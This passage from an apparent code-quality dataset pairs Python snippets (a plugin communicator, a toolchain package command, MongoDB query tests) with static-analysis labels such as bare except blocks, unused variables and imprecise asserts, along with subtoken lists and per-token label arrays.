'.'.join(plugins_modules.split('.')[:-1])\n try:\n model = getattr(__import__(p_models_path,fromlist=[klass]), klass)\n except: \n try: \n model = getattr(__import__(p_models_path+'.'+klass,fromlist=[klass]), klass)\n except:\n pass \n # Filters resources by slice (will not return any aggregate's resource from another slice)\n objects = model.objects.filter(**kwargs)\n #print \"objects: %s\" % str(objects)\n for obj in objects:\n if not (obj != None and obj.aggregate in slice._get_aggregates()):\n raise Exception\n return objects\n except Exception,e:\n print \"[ERROR] PluginCommunicator could not obtain object. Details: %s \" % str(e)\n return None", "metadata": "root.PluginCommunicator.get_objects", "header": "['class', 'PluginCommunicator', '(', ')', ':', '___EOS___']", "index": 24 }, { "content": " @staticmethod\n def get_object_id(slice, plugin_type, klass, **kwargs): \n try:\n return PluginCommunicator.get_object(slice, plugin_type, klass, **kwargs).id\n except:\n return None", "metadata": "root.PluginCommunicator.get_object_id", "header": "['class', 'PluginCommunicator', '(', ')', ':', '___EOS___']", "index": 67 } ]
[ { "span": "except: ", "start_line": 42, "start_column": 12, "end_line": 42, "end_column": 19 }, { "span": "except:", "start_line": 45, "start_column": 16, "end_line": 45, "end_column": 23 }, { "span": "except:", "start_line": 71, "start_column": 8, "end_line": 71, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Plug", "in", "Communi", "cator", "_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "objects_", "(_", "slice_", ",_", "plugin", "\\u", "type_", ",_", "klass_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Retrieve", "s", " ", "the", " ", "id", " ", "of", " ", "a", " ", "model", " ", "belonging", " ", "to", " ", "anot", "her", " ", "plugin", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "whi", "ch", " ", "is", " ", "contain", "ed", " ", "in", " ", "the", " ", "same", " ", "slice", " ", "than", " ", "the", " ", "\\", "10", ";", " ", " ", " ", " ", "AM", " ", "correspond", "ing", " ", "to", " ", "the", " ", "other", " ", "plugin", " ", "tha", "t", " ", "invoke", "s", " ", "this", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "E", ".", "g", ".", " ", "Slice", " ", "\"", "test", "\"", " ", "with", " ", "\"", "VT", " ", "test", " ", "AM", "\"", " ", "and", " ", "\"", "OF", " ", "test", " ", "AM", "\"", "\\", "10", ";", " ", " ", " ", " ", " ", "VT", " ", "plugin", " ", "will", " ", "ask", " ", "for", " ", "OF", " ", "resource", "s", " ", "who", "se", " ", "AM", " ", "(\"", "OF", "\\", "10", ";", " ", " ", " ", " ", " ", "AM", " ", "test", "\")", " ", "was", " ", "previ", "ously", " ", "adde", "d", " ", "to", " ", "slice", " ", "\"", "tests", "\".\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "plugin", "s", "\\u", "module", "s", " ", "=", " ", "settings", ".", "PLUGIN", "\\u", "LOADER", ".", "plugin", "\\u", "settings", ".", "get", "(", "plugin", "\\u", "type", ").", "get", "(\"", "genera", "l", "\")", ".", "get", "(\"", "aggre", "gate", "\\u", "plugin", "s", "\")", "[", "0", "]_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "plugin", "s", "\\u", "modules_", "=_", "PLUGIN", "\\u", "LOADER", "_", "._", "plugin", "\\u", "settings_", "._", "get_", "(_", "plugin", "\\u", "type_", ")_", "._", "get_", "(_", "\"", "genera", "l", "\"_", ")_", "._", "get_", "(_", "\"", "aggre", "gate", "\\u", "plugin", "s", "\"_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p", "\\u", "agg_", "=_", "plugin", "s", "\\u", "modules_", "._", "split_", "(_", "'.'_", ")_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p", "\\u", "model", "s", "\\u", "path_", "=_", "'.'_", "._", "join_", "(_", "plugin", "s", "\\u", "modules_", "._", "split_", "(_", "'.'_", ")_", "[_", ":_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model_", "=_", "getattr_", "(_", "\\u\\u", "import\\u\\u_", "(_", "p", "\\u", "model", "s", "\\u", "path_", ",_", "froml", "ist_", "=_", "[_", "klass_", "]_", ")_", ",_", "klass_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "model_", "=_", "getattr_", "(_", "\\u\\u", "import\\u\\u_", "(_", "p", "\\u", "model", "s", "\\u", "path_", "+_", "'.'_", "+_", "klass_", ",_", "froml", "ist_", "=_", "[_", "klass_", "]_", ")_", ",_", "klass_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Filter", "s", " ", "resource", "s", " ", "by", " ", "slice", " ", "(", "will", " ", "not", " ", "return", " ", "any", " ", "aggre", "gate", "'", "s", " ", "resource", " ", "from", " ", "anot", "her", " ", "slice", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "objects_", "=_", "model_", "._", "objects_", "._", "filter_", "(_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", " ", "\"", "object", "s", ":", " ", "%", "s", "\"", " ", "%", " ", "str", "(", "object", "s", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "obj_", "in_", "objects_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "(_", "obj_", "!=_", "None_", "and_", "obj_", "._", "aggregate_", "in_", "slice_", "._", "\\u", "get", "\\u", "aggregates", "_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "Exception_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "objects_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "ERROR", "]", " ", "Plug", "in", "Communi", "cator", " ", "coul", "d", " ", "not", " ", "obtain", " ", "object", ".", " ", "Det", "ail", "s", ":", " ", "%", "s", " ", "\"_", "%_", "str_", "(_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Plug", "in", "Communi", "cator", "_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "object\\u", "id_", "(_", "slice_", ",_", "plugin", "\\u", "type_", ",_", "klass_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Plug", "in", "Communi", "cator", "_", "._", "get", "\\u", "object_", "(_", "slice_", ",_", "plugin", "\\u", "type_", ",_", "klass_", ",_", "**_", "kwargs_", ")_", "._", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2 ]
Unused local variable
aldebaran/qibuild/python/qitoolchain/actions/add_package.py
[ { "content": "def do(args):\n \"\"\" Add a package to a toolchain\n\n - Check that there is a current toolchain\n - Add the package to the cache\n - Add the package from cache to toolchain\n\n \"\"\"\n toolchain = qitoolchain.parsers.get_toolchain(args)\n name = args.name\n package_path = args.package_path\n legacy = False\n try:\n archive = zipfile.ZipFile(package_path)\n archive.read(\"package.xml\")\n except KeyError:\n legacy = True\n if legacy and not args.name:\n ui.fatal(\"Must specify --name when using legacy format\")\n if args.name and not legacy:\n ui.warning(\"--name ignored when using modern format\")\n\n package = None\n if legacy:\n package = qitoolchain.qipackage.QiPackage(args.name)\n else:\n package = qitoolchain.qipackage.from_archive(package_path)\n\n # extract it to the default packages path of the toolchain\n tc_name = toolchain.name\n tc_packages_path = qitoolchain.toolchain.get_default_packages_path(tc_name)\n dest = os.path.join(tc_packages_path, package.name)\n qisys.sh.rm(dest)\n qitoolchain.qipackage.extract(package_path, dest)\n package.path = dest\n\n # add the package to the toolchain\n toolchain.add_package(package)", "metadata": "root.do", "header": "['module', '___EOS___']", "index": 28 } ]
[ { "span": "name ", "start_line": 37, "start_column": 4, "end_line": 37, "end_column": 8 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "do_", "(_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Add", " ", "a", " ", "package", " ", "to", " ", "a", " ", "toolchain", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "Check", " ", "tha", "t", " ", "there", " ", "is", " ", "a", " ", "current", " ", "toolchain", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "Add", " ", "the", " ", "package", " ", "to", " ", "the", " ", "cache", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "Add", " ", "the", " ", "package", " ", "from", " ", "cache", " ", "to", " ", "toolchain", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "toolchain_", "=_", "qi", "toolchain_", "._", "parsers_", "._", "get", "\\u", "toolchain_", "(_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name_", "=_", "args_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "package", "\\u", "path_", "=_", "args_", "._", "package", "\\u", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "legacy_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "archive_", "=_", "zipfile_", "._", "Zip", "File_", "(_", "package", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "archive_", "._", "read_", "(_", "\"", "package", ".", "xml", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "legacy_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "legacy_", "and_", "not_", "args_", "._", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ui_", "._", "fatal_", "(_", "\"", "Mus", "t", " ", "speci", "fy", " ", "--", "name", " ", "whe", "n", " ", "usi", "ng", " ", "lega", "cy", " ", "format", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "args_", "._", "name_", "and_", "not_", "legacy_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ui_", "._", "warning_", "(_", "\"--", "name", " ", "ignore", "d", " ", "whe", "n", " ", "usi", "ng", " ", "moder", "n", " ", "format", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "package_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "legacy_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "package_", "=_", "qi", "toolchain_", "._", "qi", "package_", "._", "Qi", "Package_", "(_", "args_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "package_", "=_", "qi", "toolchain_", "._", "qi", "package_", "._", "from", "\\u", "archive_", "(_", "package", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "extract", " ", "it", " ", "to", " ", "the", " ", "default", " ", "package", "s", " ", "path", " ", "of", " ", "the", " ", "toolchain_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tc", "\\u", "name_", "=_", "toolchain_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tc", "\\u", "package", "s", "\\u", "path_", "=_", "qi", "toolchain_", "._", "toolchain_", "._", "get", "\\u", "default", "\\u", "package", "s", "\\u", "path_", "(_", "tc", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dest_", "=_", "os_", "._", "path_", "._", "join_", "(_", "tc", "\\u", "package", "s", "\\u", "path_", ",_", "package_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "qi", "sys_", "._", "sh_", "._", "rm_", "(_", "dest_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "qi", "toolchain_", "._", "qi", "package_", "._", "extract_", "(_", "package", "\\u", "path_", ",_", "dest_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "package_", "._", "path_", "=_", "dest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "the", " ", "package", " ", "to", " ", "the", " ", "toolchain_", "\\u\\u\\uNL\\u\\u\\u_", "toolchain_", "._", "add", "\\u", "package_", "(_", "package_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2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.name==name)\n if exist.count() != 0: return 'That person already exists'\n p = Person(name=name, views=0).save()\n return 'Person created'", "metadata": "root.makeperson", "header": "['module', '___EOS___']", "index": 4 } ]
[ { "span": "p ", "start_line": 8, "start_column": 4, "end_line": 8, "end_column": 5 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "route_", "(_", "'/", "makep", "ers", "on", "/*", ":", "name", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "makep", "ers", "on_", "(_", "web_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exist_", "=_", "Person_", "._", "find_", "(_", ")_", "._", "filter_", "(_", "Person_", "._", "name_", "==_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "exist_", "._", "count_", "(_", ")_", "!=_", "0_", ":_", "return_", "'", "Tha", "t", " ", "person", " ", "alr", "ead", "y", " ", "exist", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "=_", "Person_", "(_", "name_", "=_", "name_", ",_", "views_", "=_", "0_", ")_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'", "Person", " ", "created", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
twisted/txmongo/tests/test_queries.py
[ { "content": " @defer.inlineCallbacks\n def test_AsClass(self):\n yield self.coll.insert({'x': 42})\n\n doc = yield self.coll.find_one({})\n self.assertTrue(type(doc) is dict)\n\n class CustomDict(dict):\n pass\n\n doc = yield self.coll.find_one({}, as_class=CustomDict)\n self.assertTrue(type(doc) is CustomDict)", "metadata": "root.TestMongoQueries.test_AsClass", "header": "['class', 'TestMongoQueries', '(', '_SingleCollectionTest', ')', ':', '___EOS___']", "index": 232 }, { "content": " @defer.inlineCallbacks\n def test_SimpleUpdate(self):\n yield self.coll.insert([{'x': 42}, {'x': 123}])\n\n yield self.coll.update({}, {\"$set\": {'x': 456}})\n\n docs = yield self.coll.find(fields={\"_id\": 0})\n\n # Check that only one document was updated\n self.assertTrue({'x': 456} in docs)\n self.assertTrue(({'x': 42} in docs) or ({'x': 123} in docs))", "metadata": "root.TestUpdate.test_SimpleUpdate", "header": "['class', 'TestUpdate', '(', '_SingleCollectionTest', ')', ':', '___EOS___']", "index": 410 }, { "content": " @defer.inlineCallbacks\n def test_Save(self):\n yield self.assertFailure(self.coll.save(123), TypeError)\n\n yield self.coll.save({'x': 1})\n oid = ObjectId()\n yield self.coll.save({\"_id\": oid, 'x': 2})\n yield self.coll.save({\"_id\": oid, 'x': 3})\n\n docs = yield self.coll.find()\n self.assertTrue(any(doc['x'] == 1 for doc in docs))\n self.assertTrue({\"_id\": oid, 'x': 3} in docs)", "metadata": "root.TestSave.test_Save", "header": "['class', 'TestSave', '(', '_SingleCollectionTest', ')', ':', '___EOS___']", "index": 446 }, { "content": " @defer.inlineCallbacks\n def test_RemoveOne(self):\n docs = [{'x': 42}, {'x': 123}]\n yield self.coll.insert(docs)\n yield self.coll.remove({}, single=True)\n\n remaining = yield self.coll.find()\n self.assertEqual(len(remaining), 1)\n self.assertTrue(remaining[0] in docs)", "metadata": "root.TestRemove.test_RemoveOne", "header": "['class', 'TestRemove', '(', '_SingleCollectionTest', ')', ':', '___EOS___']", "index": 462 }, { "content": " @defer.inlineCallbacks\n def test_MapReduce(self):\n yield self.coll.insert([\n {\"kid\": \"John\", \"grade\": 5},\n {\"kid\": \"Kate\", \"grade\": 4},\n {\"kid\": \"John\", \"grade\": 4},\n {\"kid\": \"Kate\", \"grade\": 4},\n {\"kid\": \"Adam\", \"grade\": 4},\n {\"kid\": \"Kate\", \"grade\": 2},\n {\"kid\": \"John\", \"grade\": 5},\n ])\n\n t_map = \"\"\"\n function () {\n emit(this.kid, this.grade);\n }\n \"\"\"\n\n t_reduce = \"\"\"\n function (key, values) {\n return Array.sum(values);\n }\n \"\"\"\n\n result = yield self.coll.map_reduce(t_map, t_reduce, out={\"inline\": 1})\n self.assertEqual(len(result), 3)\n self.assertTrue({\"_id\": \"John\", \"value\": 14} in result)\n self.assertTrue({\"_id\": \"Kate\", \"value\": 10} in result)\n self.assertTrue({\"_id\": \"Adam\", \"value\": 4} in result)\n\n result = yield self.coll.map_reduce(t_map, t_reduce, out={\"inline\": 1}, full_response=True)\n self.assertTrue(result[\"ok\"], 1)\n self.assertTrue(\"counts\" in result)\n self.assertTrue(\"results\" in result)", "metadata": "root.TestMapReduce.test_MapReduce", "header": "['class', 'TestMapReduce', '(', '_SingleCollectionTest', ')', ':', '___EOS___']", "index": 522 } ]
[ { "span": "self.assertTrue(type(doc) is dict)", "start_line": 237, "start_column": 8, "end_line": 237, "end_column": 42 }, { "span": "self.assertTrue(type(doc) is CustomDict)", "start_line": 243, "start_column": 8, "end_line": 243, "end_column": 48 }, { "span": "self.assertTrue({'x': 456} in docs)", "start_line": 419, "start_column": 8, "end_line": 419, "end_column": 43 }, { "span": "self.assertTrue({\"_id\": oid, 'x': 3} in docs)", "start_line": 457, "start_column": 8, "end_line": 457, "end_column": 53 }, { "span": "self.assertTrue(remaining[0] in docs)", "start_line": 470, "start_column": 8, "end_line": 470, "end_column": 45 }, { "span": "self.assertTrue({\"_id\": \"John\", \"value\": 14} in result)", "start_line": 548, "start_column": 8, "end_line": 548, "end_column": 63 }, { "span": "self.assertTrue({\"_id\": \"Kate\", \"value\": 10} in result)", "start_line": 549, "start_column": 8, "end_line": 549, "end_column": 63 }, { "span": "self.assertTrue({\"_id\": \"Adam\", \"value\": 4} in result)", "start_line": 550, "start_column": 8, "end_line": 550, "end_column": 62 }, { "span": "self.assertTrue(\"counts\" in result)", "start_line": 554, "start_column": 8, "end_line": 554, "end_column": 43 }, { "span": "self.assertTrue(\"results\" in result)", "start_line": 555, "start_column": 8, "end_line": 555, "end_column": 44 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Test", "Mon", "go", "Querie", "s_", "(_", "\\u", "Sing", "le", "Collecti", "on", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "defer_", "._", "inline", "Callbacks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "As", "Class_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "self_", "._", "coll_", "._", "insert_", "(_", "{_", "'", "x", "'_", ":_", "42_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "doc_", "=_", "yield_", "self_", "._", "coll_", "._", "find", "\\u", "one_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "type_", "(_", "doc_", ")_", "is_", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Custom", "Dict_", "(_", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "doc_", "=_", "yield_", "self_", "._", "coll_", "._", "find", "\\u", "one_", "(_", "{_", "}_", ",_", "as", "\\u", "class_", "=_", "Custom", "Dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "type_", "(_", "doc_", ")_", "is_", "Custom", "Dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Update_", "(_", "\\u", "Sing", "le", "Collecti", "on", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "defer_", "._", "inline", "Callbacks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "Simple", "Update_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "self_", "._", "coll_", "._", "insert_", "(_", "[_", "{_", "'", "x", "'_", ":_", "42_", "}_", ",_", "{_", "'", "x", "'_", ":_", "123_", "}_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "self_", "._", "coll_", "._", "update_", "(_", "{_", "}_", ",_", "{_", "\"$", "set", "\"_", ":_", "{_", "'", "x", "'_", ":_", "456_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "docs_", "=_", "yield_", "self_", "._", "coll_", "._", "find_", "(_", "fields_", "=_", "{_", "\"\\u", "id", "\"_", ":_", "0_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "tha", "t", " ", "only", " ", "one", " ", "document", " ", "was", " ", "updated_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "{_", "'", "x", "'_", ":_", "456_", "}_", "in_", "docs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "{_", "'", "x", "'_", ":_", "42_", "}_", "in_", "docs_", ")_", "or_", "(_", "{_", "'", "x", "'_", ":_", "123_", "}_", "in_", "docs_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Save_", "(_", "\\u", "Sing", "le", "Collecti", "on", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "defer_", "._", "inline", "Callbacks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "Save_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "self_", "._", 